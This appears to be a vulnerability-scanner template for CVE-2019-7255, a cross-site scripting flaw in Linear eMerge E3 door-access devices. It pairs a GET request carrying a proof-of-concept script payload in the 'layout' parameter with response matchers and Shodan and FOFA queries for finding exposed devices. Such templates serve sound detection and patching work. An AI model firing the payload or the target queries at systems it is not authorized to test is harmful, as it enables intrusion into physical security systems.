id: CVE-2019-7255

info:
  name: Linear eMerge E3 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the 'layout' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.applied-risk.com/resources/ar-2019-005
    - https://applied-risk.com/labs/advisories
    - https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7255
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7255
    cwe-id: CWE-79
    epss-score: 0.57627
    epss-percentile: 0.98192
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query:
      - http.title:"eMerge"
      - http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,xss,packetstorm,nortek,nortekcontrol,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Template : <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022063eaa9743922a0558d77e547b05b9f2b7d5d426cc68d12ce44473989aa7bd7f60220712f8f0d084d24c4e61dd1ef5278b751f3337444d56692230740a01a1fbd4c64:922c64590222798bb761d5b6d8e72950